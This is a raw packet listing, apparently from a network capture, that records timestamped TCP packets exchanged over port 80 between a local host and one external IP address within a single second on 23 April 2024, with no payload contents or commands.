Apr 23, 2024 08:39:59.054218054 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.054223061 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.054234982 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.054260015 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.054267883 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.054274082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.054299116 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.054299116 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.054321051 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.054337025 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.054337978 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.054363012 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.054374933 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.054399014 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.054429054 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.054480076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.054498911 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.054511070 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.054523945 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.054533005 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.054542065 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.054572105 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.054594040 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.054619074 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.054631948 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.054672003 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.054672003 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.054675102 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.054757118 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.054769039 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.054815054 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.054824114 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.054824114 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.054847002 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.054871082 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.054894924 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.054894924 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.054909945 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.054936886 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.054970980 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.054971933 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.055018902 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.055057049 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.055108070 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.055200100 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.055322886 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.055336952 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.055385113 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.055385113 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.055418968 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.055433035 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.055531979 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.055546045 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.055556059 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.055557013 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.055583000 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.055583000 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.055629015 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.055655003 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.055733919 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.055768967 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.055783987 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.055798054 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.055835962 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.055857897 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.055871964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.055882931 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.055907965 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.055922031 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.055932045 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.055960894 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.055963993 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.055978060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.055990934 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.056004047 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.056071043 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.056071043 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.056071043 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.056075096 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.056090117 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.056111097 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.056114912 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.056123972 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.056134939 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.056150913 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.056150913 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.056166887 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.056176901 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.056195974 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.056226015 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.056241035 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.056252956 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.056262016 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.056265116 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.056277990 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.056289911 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.056313992 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.056360960 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.056371927 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.056387901 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.056509972 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.056509972 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.056524992 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.056566000 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.056567907 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.056567907 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.056580067 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.056606054 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.056627989 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.056638956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.056668043 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.056683064 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.057898045 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.057912111 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.057946920 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.057984114 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.057992935 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.058044910 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.058115959 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.058129072 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.058165073 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.058171034 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.058177948 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.058191061 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.058207035 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.058226109 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.058231115 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.058252096 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.058274984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.058291912 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.058412075 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.058418036 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.058470011 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.058491945 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.058506966 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.058520079 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.058526993 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.058554888 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.058558941 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.058558941 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.058568001 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.058675051 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.058679104 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.058737993 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.058759928 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.058773994 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.058796883 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.058811903 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.058820963 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.058835030 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.058872938 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.058887959 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.058901072 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.058922052 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.058936119 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.058942080 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.058959007 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.058980942 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.058980942 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.058983088 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.059000969 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.059022903 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.059025049 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.059037924 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.059066057 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.059087992 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.059108973 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.059129000 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.059230089 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.059271097 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.059334993 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.059350967 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.059355974 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.059364080 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.059379101 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.059386015 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.059402943 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.059425116 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.059425116 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.059447050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.059464931 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.059484005 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.059506893 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.059524059 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.059544086 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.059547901 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.059570074 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.059621096 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.059636116 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.059658051 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.059670925 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.059676886 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.059695005 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.059741020 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.059762001 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.059765100 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.059787035 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.059823990 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.059838057 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.059844971 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.059859991 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.059919119 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.059931993 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.059937954 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.059942961 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.059954882 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.059957027 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.059967995 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.059976101 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.059981108 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.059993029 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.059998989 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.060007095 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.060015917 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.060064077 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.060082912 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.060102940 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.060122967 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.060128927 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.060152054 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.060153008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.060175896 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.060175896 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.060189962 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.060198069 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.060214996 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.060225010 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.060261965 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.060285091 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.060297966 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.060338020 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.060358047 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.060369968 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.060378075 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.060384035 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.060391903 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.060406923 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.060431957 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.060440063 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.060446978 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.060463905 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.060471058 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.060498953 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.060498953 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.060538054 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.060551882 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.060585976 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.060591936 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.060591936 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.060611010 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.060636044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.060657024 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.060733080 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.060754061 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.060775995 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.060797930 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.060807943 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.060827971 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.060980082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.060993910 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.061000109 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.061014891 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.061073065 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.061085939 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.061093092 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.061098099 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.061103106 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.061111927 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.061131001 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.061182022 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.061197996 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.061203957 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.061233997 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.061244965 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.061244965 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.061247110 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.061284065 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.061284065 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.061319113 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.061336994 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.061350107 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.061362982 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.061368942 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.061402082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.061423063 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.061443090 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.061461926 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.061475039 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.061496019 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.061516047 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.061537981 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.061552048 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.061574936 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.061621904 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.061623096 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.061697006 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.061856985 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.061873913 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.061881065 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.061892986 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.062011003 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.062031031 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.062055111 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.062057972 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.062099934 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.062129974 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.062145948 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.062145948 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.062165022 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.062185049 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.062190056 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.062211990 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.062225103 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.062237978 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.062243938 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.062258005 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.062283039 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.062295914 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.062297106 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.062309980 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.062314987 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.062329054 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.062356949 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.062366009 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.062423944 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.062437057 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.062443972 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.062453032 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.062458992 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.062474012 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.062511921 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.062531948 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.062551975 CEST	80	49705	138.199.40.58	192.168.2.7
